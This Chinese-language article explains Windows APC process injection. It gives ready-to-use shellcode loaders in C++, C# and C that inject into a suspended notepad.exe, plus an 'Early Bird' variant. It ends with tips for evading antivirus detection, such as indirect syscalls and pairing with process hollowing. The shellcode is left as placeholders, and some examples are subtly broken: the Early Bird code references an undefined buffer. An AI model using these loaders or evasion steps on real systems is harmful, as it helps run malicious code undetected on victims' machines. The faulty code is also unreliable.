APC注入以及几种实现方式
字数 980 2025-08-29 08:32:18
APC注入技术详解
一、APC基础概念
1.1 什么是APC
APC(Asynchronous Procedure Call,异步过程调用)是Windows系统中的一种机制,它允许在特定线程环境中异步执行代码。APC是一个链状数据结构,每个线程都维护着自己的APC队列。
1.2 APC工作原理
- 当线程从等待状态苏醒时,会自动检查自己的APC队列
- 如果存在APC过程,线程会优先执行队列中的回调函数
- APC执行遵循FIFO(先进先出)原则
1.3 APC类型
- 内核模式APC:由系统产生
- 用户模式APC:由应用程序产生
二、APC注入原理
2.1 基本注入流程
- 目标程序执行到等待函数时,系统产生中断
- 线程唤醒时优先调用APC队列中的回调函数
- 使用QueueUserAPC插入自定义回调
- 回调地址设置为LoadLibrary,参数设置为DLL路径
2.2 关键API函数
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC, // APC函数指针
[in] HANDLE hThread, // 目标线程句柄
[in] ULONG_PTR dwData // 传递给APC函数的参数
);
2.3 注入前置条件
- 线程在进程内执行
- 线程会调用APC队列中的函数
- 应用有权限向目标线程的APC队列添加函数
- 线程必须处于alertable状态才能执行APC
三、APC注入实现方式
3.1 C++实现
#include <Windows.h>
#include <iostream>
unsigned char shellcode[] = "<shellcode>";
int main() {
LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe";
SIZE_T buff = sizeof(shellcode);
STARTUPINFOA sInfo = {0};
PROCESS_INFORMATION pInfo = {0};
// 创建挂起进程
CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &sInfo, &pInfo);
HANDLE hProc = pInfo.hProcess;
HANDLE hThread = pInfo.hThread;
// 在目标进程分配内存
LPVOID lpvShellAddress = VirtualAllocEx(hProc, NULL, buff,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE ptApcRoutine = (PTHREAD_START_ROUTINE)lpvShellAddress;
// 写入shellcode
WriteProcessMemory(hProc, lpvShellAddress, shellcode, buff, NULL);
// 插入APC并恢复线程
QueueUserAPC((PAPCFUNC)ptApcRoutine, hThread, NULL);
ResumeThread(hThread);
return 0;
}
3.2 C#实现
using System;
using System.Runtime.InteropServices;
public class shellcode {
[DllImport("Kernel32", SetLastError=true)]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("Kernel32", SetLastError=true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("Kernel32", SetLastError=true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern uint ResumeThread(IntPtr hThread);
// 枚举和结构体定义...
public static PROCESS_INFORMATION StartProcess(string binaryPath) {
uint flags = 0x00000004; // CREATE_SUSPENDED
STARTUPINFO startInfo = new STARTUPINFO();
PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
CreateProcess((IntPtr)0, binaryPath, (IntPtr)0, (IntPtr)0,
false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo);
return procInfo;
}
public void Execute() {
string b64 = "<shellcode>";
string targetprocess = "C:/Windows/System32/notepad.exe";
byte[] shellcode = Convert.FromBase64String(b64);
uint lpNumberOfBytesWritten = 0;
PROCESS_INFORMATION processInfo = StartProcess(targetprocess);
IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false,
(uint)processInfo.dwProcessId);
// 分配内存并写入shellcode
IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length,
(uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT,
(uint)MemProtect.PAGE_EXECUTE_READWRITE);
if(WriteProcessMemory(pHandle, rMemAddress, shellcode,
(uint)shellcode.Length, ref lpNumberOfBytesWritten)) {
IntPtr tHandle = OpenThread(ThreadAccess.THREAD_ALL, false,
(uint)processInfo.dwThreadId);
IntPtr ptr = QueueUserAPC(rMemAddress, tHandle, IntPtr.Zero);
ResumeThread(tHandle);
}
CloseHandle(pHandle);
}
}
3.3 C语言简化实现
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = {0xfc,0x48,0x83}; // shellcode
unsigned int buff = sizeof(shellcode);
int main(void) {
STARTUPINFO si;
PROCESS_INFORMATION pi;
void * ptApcRoutine;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);
ptApcRoutine = VirtualAllocEx(pi.hProcess, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(pi.hProcess, ptApcRoutine, (PVOID)shellcode, (SIZE_T)buff, (SIZE_T *)NULL);
QueueUserAPC((PAPCFUNC)ptApcRoutine, pi.hThread, NULL);
ResumeThread(pi.hThread);
return 0;
}
四、APC注入变种:Early Bird技术
4.1 Early Bird原理
Early Bird是APC注入与线程劫持的变体,利用线程初始化时会调用NtTestAlert函数的特性:
NtTestAlert会检查当前线程的APC队列- 线程启动时,在执行任何操作前会先调用
NtTestAlert - 如果在初始状态下操作APC,可以可靠地执行shellcode
4.2 Early Bird实现
C语言实现
#include <Windows.h>
int main() {
unsigned char shellcode[] = "<shellcode>";
SIZE_T shellSz = sizeof(buff);
STARTUPINFOA st = {0};
PROCESS_INFORMATION prt = {0};
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &prt);
HANDLE victimProcess = prt.hProcess;
HANDLE threadHandle = prt.hThread;
LPVOID shellAddr = VirtualAllocEx(victimProcess, NULL, shellSz,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddr;
WriteProcessMemory(victimProcess, shellAddr, buff, shellSz, NULL);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
ResumeThread(threadHandle);
return 0;
}
Go语言实现
参考项目: go-shellcode EarlyBird
五、防御与绕过
5.1 常见防御检测
- 360等安全软件会检测APC注入行为
- 监控QueueUserAPC等敏感API调用
- 检查进程创建时的挂起状态
5.2 可能的绕过方式
- 使用合法的进程进行注入
- 结合其他注入技术(如进程镂空)
- 使用间接系统调用避免API监控